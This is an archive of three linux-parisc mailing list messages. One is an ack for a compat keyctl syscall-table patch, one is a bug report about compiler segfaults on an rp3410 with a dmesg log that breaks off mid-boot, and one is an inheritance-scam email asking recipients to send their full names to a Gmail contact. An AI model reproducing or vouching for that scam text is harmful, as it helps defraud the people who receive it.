Date: Fri, 16 Jun 2017 17:43:16 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <b06ef951-f916-f1a3-32fd-a7f4231a4b55@gmx.de>
References: <20170613061830.18013-1-ebiggers3@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1497627803 31171 195.159.176.226 (16 Jun 2017 15:43:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 16 Jun 2017 15:43:23 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
Cc: "James E . J . Bottomley" <jejb@parisc-linux.org>,
        keyrings@vger.kernel.org, Eric Biggers <ebiggers@google.com>
To: Eric Biggers <ebiggers3@gmail.com>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 16 17:43:19 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dLtP4-0007o8-Iz
	for glpp-linux-parisc@m.gmane.org; Fri, 16 Jun 2017 17:43:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751755AbdFPPnX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 16 Jun 2017 11:43:23 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:61093 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751667AbdFPPnW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 16 Jun 2017 11:43:22 -0400
Original-Received: from [192.168.20.60] ([193.159.19.184]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0M5tof-1djaJw0esb-00xpwe; Fri, 16
 Jun 2017 17:43:17 +0200
In-Reply-To: <20170613061830.18013-1-ebiggers3@gmail.com>
X-Provags-ID: V03:K0:fb2kqFtN/U0Zm+TeO3DfbbJzqSI+OQZe6zGzt79SC3Imubgtqpw
 ENZbRBqb31GuMoHjHr2AbWXfgIJT5EWWn2Z9Mtm8ko0qSMZ+EGu0WcmTgXVjpAQRFwXnF4/
 QnrvZR9gKSQ1gku0F1/maZnNe/HhQDTUBzcfGwn037lpmgjbVic7fOV08+P4eQPNwKUHFHD
 tHbgufP7YYKYiFuMW6OPA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:IYRuNKNURwg=:7HzUOY/cT2rTfqvjVwEf3l
 brjLtCZZ8TrKLA4EqerPVAFp4EkcN8+uWNayIVVfJg0WauFWUuiJMEy0sfXknr14Kj2V+rqK7
 SffNBl3ZBVv1zeNl2zSTpXZQpi4hN5pQMnd+3rPujmm/3WCyxhOfMsu1fUQWVKb7eeepu5G97
 tBbFXYiwyFaZAgfpG7WOMoqgOZ8SKJILcf3umGWnB/16K1iCSjNPFpaeDhvgi4tti9KUFXSbI
 p57QZsYz7PZOy3dSqj68IHWgydhtTWTupResNXi2opJQgYpivOVGtuArpfLDUC5WrV+Lzg2Bt
 gr4swDd7di45WyE+rMd6yN9pP+n/jcmxxflzINkdo2LqYCBXHVXulm+dJp4XTtpq1OFBOVgBN
 r5l4pHuK9mdBrm0dHT4rPt89SD+D27WxrzPF+DDWMzP295DQmZdMN7dehYpvOs8xJlZYEIaaJ
 QWCtUEp6jhbhB80M0NrC8ZML67Won/hvlfuGRuhSkRrbJ5R5+4RcOEOxyyib8LEPtvqGWh6tn
 MkkOGjlRD2K6nhgYPK9ed9ADo/ognLUnnAUbWT3PWxg+QwxEjDzt0Eys9x8g/xVCNEB4vsLF+
 PsSLCTWmklBJGlURnAfH7qd4iznDoDTSyeHlujuQIbU7qzkhSosrz9D8UaJ0z6DcOSqyFzQZ/
 ASvxNcDxP4zpus5WBpew/nMAzst+Ol1SZiW3yZ63jwcVlfu/4Q8Mo5jtBANBDXiN/M6wcrpH+
 FjMz2hr37S3axORB5Quu4PMtOia6xZLWOPVdgrjwS8xoX1Qb50us9EnzL5228Bypo0glfA7J 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27512
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27512>

On 13.06.2017 08:18, Eric Biggers wrote:
> From: Eric Biggers <ebiggers@google.com>
> 
> Architectures with a compat syscall table must put compat_sys_keyctl()
> in it, not sys_keyctl().  The parisc architecture was not doing this;
> fix it.
> 
> Signed-off-by: Eric Biggers <ebiggers@google.com>

Acked-by: Helge Deller <deller@gmx.de>

Thanks Eric!
I'll queue it up in my next arch pull request (unless someone else takes it earlier).

Helge

> ---
>  arch/parisc/kernel/syscall_table.S | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
> index 44aeaa9c039f..6308749359e4 100644
> --- a/arch/parisc/kernel/syscall_table.S
> +++ b/arch/parisc/kernel/syscall_table.S
> @@ -361,7 +361,7 @@
>  	ENTRY_SAME(ni_syscall)	/* 263: reserved for vserver */
>  	ENTRY_SAME(add_key)
>  	ENTRY_SAME(request_key)		/* 265 */
> -	ENTRY_SAME(keyctl)
> +	ENTRY_COMP(keyctl)
>  	ENTRY_SAME(ioprio_set)
>  	ENTRY_SAME(ioprio_get)
>  	ENTRY_SAME(inotify_init)
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: INFO <mguerrero@huv.gov.co>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Reply Urgent
Date: Mon, 19 Jun 2017 14:39:18 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20170619143918.2132176qvnaamicm__13812.6299869784$1497917327$gmane$org@correo.huv.gov.co>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=ISO-8859-1;
 DelSp="Yes";
 format="flowed"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1497917327 1316 195.159.176.226 (20 Jun 2017 00:08:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 20 Jun 2017 00:08:47 +0000 (UTC)
User-Agent: Internet Messaging Program (IMP) H3 (4.3.7)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 20 02:08:43 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dN6ip-0008Ci-8r
	for glpp-linux-parisc@m.gmane.org; Tue, 20 Jun 2017 02:08:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753503AbdFTAId (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 19 Jun 2017 20:08:33 -0400
Original-Received: from correo.huv.gov.co ([190.6.160.84]:4695 "EHLO correo.huv.gov.co"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753205AbdFTAIX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 19 Jun 2017 20:08:23 -0400
Original-Received: from localhost ([127.0.0.1] helo=huv.gov.co)
        by correo.huv.gov.co with esmtp (Exim 4.71)
        (envelope-from <mguerrero@huv.gov.co>)
        id 1dN2W8-0004hV-Cj; Mon, 19 Jun 2017 14:39:20 -0500
Original-Received: from 197.211.63.25 ([197.211.63.25]) by correo.huv.gov.co (Horde
 Framework) with HTTP; Mon, 19 Jun 2017 14:39:18 -0500
X-Priority: 3 (Normal)
Content-Disposition: inline
X-SA-Exim-Connect-IP: 127.0.0.1
X-SA-Exim-Mail-From: mguerrero@huv.gov.co
X-SA-Exim-Scanned: No (on correo.huv.gov.co); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27513
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27513>

Hello,

How are you doing? I have been sent to inform you that, We have an  
inheritance of a deceased client with your surname. Contact Mr Andrew  
Bailey Reply Email To: myinfand@gmail.com with your "Full Names" for  
more info.  Thanks for your understanding.

Reply ASAP thank you.

Melissa.
----------------------------------
Correo Corporativo Hospital Universitario del Valle E.S.E
*******************************************************************************

"Estamos re-dimensionandonos para crecer!"

******************************************************************************


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: 4.12-rc5+: segfault while compiling, on rp3410
Date: Tue, 20 Jun 2017 17:20:25 +0300 (EEST)
Lines: 2095
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1706201714280.12869@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1497970113 14942 195.159.176.226 (20 Jun 2017 14:48:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 20 Jun 2017 14:48:33 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 20 16:48:26 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dNKS9-0004ev-4M
	for glpp-linux-parisc@m.gmane.org; Tue, 20 Jun 2017 16:48:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751060AbdFTOsa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 20 Jun 2017 10:48:30 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:50615 "EHLO smtp2.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751090AbdFTOs1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 20 Jun 2017 10:48:27 -0400
X-Greylist: delayed 1676 seconds by postgrey-1.27 at vger.kernel.org; Tue, 20 Jun 2017 10:48:26 EDT
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp2.it.da.ut.ee (Postfix) with ESMTP id 2291573D6F2
        for <linux-parisc@vger.kernel.org>; Tue, 20 Jun 2017 17:20:28 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 0916E221990; Tue, 20 Jun 2017 17:20:26 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 11D1D221989
        for <linux-parisc@vger.kernel.org>; Tue, 20 Jun 2017 17:20:26 +0300 (EEST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27514
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27514>

I am using gentoo on my hppa machines and just tried 
4.12.0-rc5-00187-gab2789b at the end of last week. This time there 
was new gcc release so a lot of work. rp3440 and A500 had no problems, 
rp3410 errored out with SIGSEGV, twice.

It is of course possible that the hardware has gone bad but so far it 
has always been the kernel and the machine has worked fine so far, so I 
suspect the kernel again.

Full dmesg (with crash) and config are below.

[    0.000000] Linux version 4.12.0-rc5-00187-gab2789b (mroos@rp3410) (gcc version 5.4.0 (Gentoo 5.4.0 p1.0) ) #17 Sat Jun 17 02:04:31 EEST 2017
[    0.000000] unwind_init: start = 0x4079d32c, end = 0x407d822c, entries = 15088
[    0.000000] FP[0] enabled: Rev 1 Model 20
[    0.000000] The 64-bit Kernel has started...
[    0.000000] Kernel default page size is 4 KB. Huge pages enabled with 1 MB physical and 2 MB virtual size.
[    0.000000] bootconsole [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] model 00008860 00000491 00000000 00000002 3e45475d0860fe3d 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000302
[    0.000000] CPUID vers 20 rev 5 (0x00000285)
[    0.000000] capabilities 0x35
[    0.000000] model 9000/800/rp3410  
[    0.000000] parisc_cache_init: Only equivalent aliasing supported!
[    0.000000] Memory Ranges:
[    0.000000]  0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
[    0.000000]  1) Start 0x0000004040000000 End 0x000000407fdfffff Size   1022 MB
[    0.000000] Total Memory: 2046 MB
[    0.000000] On node 0 totalpages: 262144
[    0.000000] free_area_init_node: node 0, pgdat 408064b0, node_mem_map 40bf000000
[    0.000000]   Normal zone: 3584 pages used for memmap
[    0.000000]   Normal zone: 0 pages reserved
[    0.000000]   Normal zone: 262144 pages, LIFO batch:31
[    0.000000] On node 1 totalpages: 261632
[    0.000000] free_area_init_node: node 1, pgdat 40806fc0, node_mem_map 40be1fff00
[    0.000000]   Normal zone: 3577 pages used for memmap
[    0.000000]   Normal zone: 0 pages reserved
[    0.000000]   Normal zone: 261632 pages, LIFO batch:31
[    0.000000] pcpu-alloc: s0 r0 d32768 u32768 alloc=1*32768
[    0.000000] pcpu-alloc: [0] 0 
[    0.000000] Built 2 zonelists in Zone order, mobility grouping on.  Total pages: 516615
[    0.000000] Kernel command line: root=/dev/sdb3 console=ttyS1 palo_kernel=2/vmlinux
[    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[    0.000000] Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes)
[    0.000000] Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes)
[    0.000000] Memory: 2050012K/2095104K available (4640K kernel code, 1591K rwdata, 551K rodata, 1024K init, 476K bss, 45092K reserved, 0K cma-reserved)
[    0.000000] virtual kernel memory layout:
                   vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
                   memory  : 0x0000000040000000 - 0x00000040bfe00000   (264190 MB)
                     .init : 0x0000000040100000 - 0x0000000040200000   (1024 kB)
                     .data : 0x0000000040688000 - 0x000000004089fa20   (2142 kB)
                     .text : 0x0000000040200000 - 0x0000000040688000   (4640 kB)
[    0.000000] SLUB: HWalign=16, Order=0-3, MinObjects=0, CPUs=1, Nodes=8
[    0.000000] NR_IRQS:80
[    0.000007] sched_clock: 64 bits at 800MHz, resolution 1ns, wraps every 4398046511103ns
[    0.000478] Console: colour dummy device 160x64
[    0.000778] Calibrating delay loop... 1594.36 BogoMIPS (lpj=3188736)
[    0.048166] pid_max: default: 32768 minimum: 301
[    0.048402] Mount-cache hash table entries: 4096 (order: 3, 32768 bytes)
[    0.048775] Mountpoint-cache hash table entries: 4096 (order: 3, 32768 bytes)
[    0.051017] devtmpfs: initialized
[    0.051593] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645041785100000 ns
[    0.053440] futex hash table entries: 256 (order: 0, 6144 bytes)
[    0.066507] NET: Registered protocol family 16
[    0.066881] Searching for devices...
[    0.281305] Found devices:
[    0.281364] 1. Storm Peak Slow DC- at 0xfffffffffe780000 [128] { 0, 0x0, 0x886, 0x00004 }
[    0.281583] 2. Everest Mako Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0af, 0x00009 }
[    0.282039] 3. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c }
[    0.284386] 4. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }
[    0.284614] 5. Mercury PCI Bridge at 0xfffffffffed22000 [0/1] { 13, 0x0, 0x783, 0x0000a }
[    0.286869] 6. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }
[    0.289120] 7. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }
[    0.291352] 8. Mercury PCI Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x783, 0x0000a }
[    0.291582] 9. Mercury PCI Bridge at 0xfffffffffed2c000 [0/6] { 13, 0x0, 0x783, 0x0000a }
[    0.294098] 10. Mercury PCI Bridge at 0xfffffffffed2e000 [0/7] { 13, 0x0, 0x783, 0x0000a }
[    0.296418] 11. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }
[    0.296646] Enabling PDC_PAT chassis codes support v0.05
[    1.110427] Logical CPU #0 is physical cpu #0 at location 0xffff0000ffff15 with hpa 0xfffffffffe780000
[    1.110729] CPU(s): 1 x PA8800 (Mako) at 800.001300 MHz
[    1.115263] Whole cache flush 2114067 cycles, flushing 8388608 bytes 880186 cycles
[    1.115271] Cache flush threshold set to 19675 KiB
[    1.127477] Whole TLB flush 2407 cycles, flushing 8388608 bytes 9664568 cycles
[    1.127481] TLB flush threshold set to 4 KiB
[    1.171489] SBA found Pluto 2.3 at 0xfffffffffed00000
[    1.234244] Mercury version TR3.2 (0x32) found at 0xfffffffffed20000
[    1.270611] LBA 0:0: PCI host bridge to bus 0000:00
[    1.270749] pci_bus 0000:00: root bus resource [io  0x0000-0xffff]
[    1.270910] pci_bus 0000:00: root bus resource [mem 0xffffffff80000000-0xffffffff8fffffff] (bus address [0x80000000-0x8fffffff])
[    1.271464] pci_bus 0000:00: root bus resource [bus 00-07]
[    1.273749] pci 0000:00:01.0: [1033:0035] type 00 class 0x0c0310
[    1.273786] pci 0000:00:01.0: reg 0x10: [mem 0xffffffff80002000-0xffffffff80002fff]
[    1.273917] pci 0000:00:01.0: supports D1 D2
[    1.273922] pci 0000:00:01.0: PME# supported from D0 D1 D2 D3hot
[    1.274039] pci 0000:00:01.1: [1033:0035] type 00 class 0x0c0310
[    1.274068] pci 0000:00:01.1: reg 0x10: [mem 0xffffffff80001000-0xffffffff80001fff]
[    1.274188] pci 0000:00:01.1: supports D1 D2
[    1.274193] pci 0000:00:01.1: PME# supported from D0 D1 D2 D3hot
[    1.274283] pci 0000:00:01.2: [1033:00e0] type 00 class 0x0c0320
[    1.274312] pci 0000:00:01.2: reg 0x10: [mem 0xffffffff80000000-0xffffffff800000ff]
[    1.274431] pci 0000:00:01.2: supports D1 D2
[    1.274437] pci 0000:00:01.2: PME# supported from D0 D1 D2 D3hot
[    1.274549] pci 0000:00:02.0: [1095:0649] type 00 class 0x01018f
[    1.274577] pci 0000:00:02.0: reg 0x10: [io  0x0d18-0x0d1f]
[    1.274596] pci 0000:00:02.0: reg 0x14: [io  0x0d24-0x0d27]
[    1.274614] pci 0000:00:02.0: reg 0x18: [io  0x0d10-0x0d17]
[    1.274633] pci 0000:00:02.0: reg 0x1c: [io  0x0d20-0x0d23]
[    1.274651] pci 0000:00:02.0: reg 0x20: [io  0x0d00-0x0d0f]
[    1.274720] pci 0000:00:02.0: supports D1 D2
[    1.281646] Mercury version TR3.2 (0x32) found at 0xfffffffffed22000
[    1.322573] LBA 0:1: PCI host bridge to bus 0000:20
[    1.322711] pci_bus 0000:20: root bus resource [io  0x10000-0x1ffff] (bus address [0x0000-0xffff])
[    1.323207] pci_bus 0000:20: root bus resource [mem 0xffffffff90000000-0xffffffff9fffffff] (bus address [0x90000000-0x9fffffff])
[    1.327097] pci_bus 0000:20: root bus resource [bus 20-27]
[    1.327266] pci 0000:20:01.0: [1000:0021] type 00 class 0x010000
[    1.327296] pci 0000:20:01.0: reg 0x10: [io  0x12100-0x121ff]
[    1.327317] pci 0000:20:01.0: reg 0x14: [mem 0xffffffff90015000-0xffffffff900153ff 64bit]
[    1.327337] pci 0000:20:01.0: reg 0x1c: [mem 0xffffffff90012000-0xffffffff90013fff 64bit]
[    1.327398] pci 0000:20:01.0: supports D1 D2
[    1.327506] pci 0000:20:01.1: [1000:0021] type 00 class 0x010000
[    1.327527] pci 0000:20:01.1: reg 0x10: [io  0x12000-0x120ff]
[    1.327548] pci 0000:20:01.1: reg 0x14: [mem 0xffffffff90014000-0xffffffff900143ff 64bit]
[    1.327568] pci 0000:20:01.1: reg 0x1c: [mem 0xffffffff90010000-0xffffffff90011fff 64bit]
[    1.327618] pci 0000:20:01.1: supports D1 D2
[    1.327714] pci 0000:20:02.0: [14e4:1645] type 00 class 0x020000
[    1.327743] pci 0000:20:02.0: reg 0x10: [mem 0xffffffff90000000-0xffffffff9000ffff 64bit]
[    1.327841] pci 0000:20:02.0: PME# supported from D3hot D3cold
[    1.334746] Mercury version TR3.2 (0x32) found at 0xfffffffffed24000
[    1.375653] LBA 0:2: PCI host bridge to bus 0000:40
[    1.375796] pci_bus 0000:40: root bus resource [io  0x20000-0x2ffff] (bus address [0x0000-0xffff])
[    1.376305] pci_bus 0000:40: root bus resource [mem 0xffffffffa0000000-0xffffffffafffffff] (bus address [0xa0000000-0xafffffff])
[    1.378730] pci_bus 0000:40: root bus resource [bus 40-47]
[    1.385674] Mercury version TR3.2 (0x32) found at 0xfffffffffed26000
[    1.427257] LBA 0:3: PCI host bridge to bus 0000:60
[    1.427396] pci_bus 0000:60: root bus resource [io  0x30000-0x3ffff] (bus address [0x0000-0xffff])
[    1.427894] pci_bus 0000:60: root bus resource [mem 0xffffffffb0000000-0xffffffffbfffffff] (bus address [0xb0000000-0xbfffffff])
[    1.430327] pci_bus 0000:60: root bus resource [bus 60-67]
[    1.437266] Mercury version TR3.2 (0x32) found at 0xfffffffffed28000
[    1.470484] LBA: lmmio_space [0xffffffffc0000000-0xffffffffdfffffff] - new
[    1.478732] LBA 0:4: PCI host bridge to bus 0000:80
[    1.478870] pci_bus 0000:80: root bus resource [io  0x40000-0x4ffff] (bus address [0x0000-0xffff])
[    1.479351] pci_bus 0000:80: root bus resource [mem 0xffffffffc0000000-0xffffffffdfffffff] (bus address [0xc0000000-0xdfffffff])
[    1.481789] pci_bus 0000:80: root bus resource [bus 80-87]
[    1.488729] Mercury version TR3.2 (0x32) found at 0xfffffffffed2c000
[    1.525252] LBA 0:6: PCI host bridge to bus 0000:c0
[    1.525394] pci_bus 0000:c0: root bus resource [io  0x50000-0x5ffff] (bus address [0x0000-0xffff])
[    1.526449] pci_bus 0000:c0: root bus resource [mem 0xffffffffe0000000-0xffffffffefffffff] (bus address [0xe0000000-0xefffffff])
[    1.530695] pci_bus 0000:c0: root bus resource [bus c0-c7]
[    1.537648] Mercury version TR3.2 (0x32) found at 0xfffffffffed2e000
[    1.571161] LBA: lmmio_space [0xfffffffff0000000-0xfffffffffe77ffff] - new
[    1.579379] LBA 0:7: PCI host bridge to bus 0000:e0
[    1.579519] pci_bus 0000:e0: root bus resource [io  0x60000-0x6ffff] (bus address [0x0000-0xffff])
[    1.580011] pci_bus 0000:e0: root bus resource [mem 0xfffffffff0000000-0xfffffffffe77ffff] (bus address [0xf0000000-0xfe77ffff])
[    1.582413] pci_bus 0000:e0: root bus resource [bus e0-e7]
[    1.582590] pci 0000:e0:01.0: [103c:1290] type 00 class 0x078000
[    1.582663] pci 0000:e0:01.0: reg 0x18: [mem 0xfffffffff4051000-0xfffffffff405100f]
[    1.582900] pci 0000:e0:01.1: [103c:1048] type 00 class 0x070002
[    1.582933] pci 0000:e0:01.1: reg 0x10: [mem 0xfffffffff4050000-0xfffffffff4050fff]
[    1.582972] pci 0000:e0:01.1: reg 0x18: [mem 0xfffffffff4020000-0xfffffffff403ffff pref]
[    1.583186] pci 0000:e0:02.0: [1002:5159] type 00 class 0x030000
[    1.583219] pci 0000:e0:02.0: reg 0x10: [mem 0xfffffffff0000000-0xfffffffff3ffffff pref]
[    1.583240] pci 0000:e0:02.0: reg 0x14: [io  0x6e000-0x6e0ff]
[    1.583262] pci 0000:e0:02.0: reg 0x18: [mem 0xfffffffff4040000-0xfffffffff404ffff]
[    1.583329] pci 0000:e0:02.0: reg 0x30: [mem 0xfffffffff4000000-0xfffffffff401ffff pref]
[    1.583380] pci 0000:e0:02.0: supports D1 D2
[    1.586707] powersw: Soft power switch support not available.
[    1.588732] HugeTLB registered 2 MB page size, pre-allocated 0 pages
[    1.589355] pci 0000:e0:02.0: vgaarb: setting as boot VGA device
[    1.589513] pci 0000:e0:02.0: vgaarb: VGA device added: decodes=io+mem,owns=io+mem,locks=none
[    1.589870] pci 0000:e0:02.0: vgaarb: bridge control possible
[    1.592058] vgaarb: loaded
[    1.592296] SCSI subsystem initialized
[    1.596135] NET: Registered protocol family 2
[    1.596709] TCP established hash table entries: 16384 (order: 5, 131072 bytes)
[    1.597205] TCP bind hash table entries: 16384 (order: 5, 131072 bytes)
[    1.597604] TCP: Hash tables configured (established 16384 bind 16384)
[    1.599523] UDP hash table entries: 1024 (order: 3, 32768 bytes)
[    1.599734] UDP-Lite hash table entries: 1024 (order: 3, 32768 bytes)
[    1.601831] NET: Registered protocol family 1
[    1.601952] PCI: CLS 16 bytes
[    1.602091] clocksource: cr16: mask: 0xffffffffffffffff max_cycles: 0xb8813b0cbe, max_idle_ns: 440795221700 ns
[    1.604030] clocksource: Switched to clocksource cr16
[    1.607429] Chassis warnings not supported.
[    1.607580] Performance monitoring counters enabled for Storm Peak Slow DC-
[    1.608124] workingset: timestamp_bits=59 max_order=19 bucket_order=0
[    1.614512] cryptomgr_test (19) used greatest stack depth: 13976 bytes left
[    1.615168] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
[    1.615508] io scheduler noop registered
[    1.615600] io scheduler deadline registered
[    1.615879] io scheduler cfq registered (default)
[    1.622644] PDC Stable Storage facility v0.30
[    1.720861] STI GSC/PCI core graphics driver Version 0.9b
[    1.721132] Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled
[    1.729154] 0000:e0:01.0: ttyS0 at MMIO 0xfffffffff4051000 (irq = 24, base_baud = 115200) is a 16450
[    1.757730] 0000:e0:01.1: ttyS1 at MMIO 0xfffffffff4050000 (irq = 24, base_baud = 115200) is a 16550A
[    1.758270] console [ttyS1] enabled
[    1.758688] bootconsole [ttyB0] disabled
[    1.780183] 0000:e0:01.1: ttyS2 at MMIO 0xfffffffff4050010 (irq = 24, base_baud = 115200) is a 16550A
[    1.801665] 0000:e0:01.1: ttyS3 at MMIO 0xfffffffff4050038 (irq = 24, base_baud = 115200) is a 16550A
[    1.987310] sym0: <1010-66> rev 0x1 at pci 0000:20:01.0 irq 21
[    1.989765] sym0: No NVRAM, ID 7, Fast-80, LVD, parity checking
[    2.029847] sym0: SCSI BUS has been reset.
[    2.029953] scsi host0: sym-2.2.3
[    2.315996] random: fast init done
[    5.113015] scsi 0:0:0:0: Direct-Access     FUJITSU  MAP3735NC        3701 PQ: 0 ANSI: 3
[    5.113233] scsi target0:0:0: tagged command queuing enabled, command queue depth 16.
[    5.113710] scsi target0:0:0: Beginning Domain Validation
[    5.118951] scsi target0:0:0: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
[    5.127817] scsi target0:0:0: Ending Domain Validation
[    5.129667] scsi target0:0:1: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)
[    5.131195] scsi 0:0:1:0: Direct-Access     IBM-ESXS ST336753LC    FN B85B PQ: 0 ANSI: 3
[    5.131415] scsi target0:0:1: tagged command queuing enabled, command queue depth 16.
[    5.132495] scsi target0:0:1: Beginning Domain Validation
[    5.138738] scsi target0:0:1: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
[    5.145322] scsi target0:0:1: Ending Domain Validation
[    9.177893] sym1: <1010-66> rev 0x1 at pci 0000:20:01.1 irq 22
[    9.180451] sym1: No NVRAM, ID 7, Fast-80, LVD, parity checking
[    9.220533] sym1: SCSI BUS has been reset.
[    9.220635] scsi host1: sym-2.2.3
[   16.700370] mousedev: PS/2 mouse device common for all mice
[   16.714061] sd 0:0:0:0: [sda] 143550456 512-byte logical blocks: (73.5 GB/68.4 GiB)
[   16.714431] rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
[   16.715024] NET: Registered protocol family 17
[   16.715253] sd 0:0:1:0: [sdb] 71096640 512-byte logical blocks: (36.4 GB/33.9 GiB)
[   16.717235] sd 0:0:0:0: [sda] Write Protect is off
[   16.717355] sd 0:0:0:0: [sda] Mode Sense: b3 00 00 08
[   16.731332] rtc-generic rtc-generic: setting system clock to 2017-06-17 05:29:49 UTC (1497677389)
[   16.731594] sd 0:0:1:0: [sdb] Write Protect is off
